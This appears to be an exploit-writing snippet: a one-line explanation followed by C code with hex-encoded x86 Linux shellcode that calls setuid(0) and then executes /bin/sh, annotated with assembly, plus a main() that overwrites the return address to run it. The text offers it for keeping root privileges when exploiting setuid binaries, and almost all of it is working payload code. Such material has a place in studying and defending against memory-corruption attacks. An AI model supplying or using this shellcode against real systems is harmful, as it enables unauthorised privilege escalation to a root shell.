This code runs setuid(0) before invoking /bin/sh, and should be capable of making sure you don't lose permissions when exploiting a setuid binary.

/*
 * Run a shell via asm.  No embedded NULL's.
 *
 */

char shellcode[] =
                                // setuid(0);
"\x31\xdb"                      // xorl         %ebx,%ebx
"\x8d\x43\x17"                  // leal         0x17(%ebx),%eax
"\xcd\x80"                      // int          $0x80
                                // exec('/bin/sh');
"\x31\xd2"                      // xorl         %edx,%edx
"\x52"                          // pushl        %edx
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80";                     // int          $0x80


void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}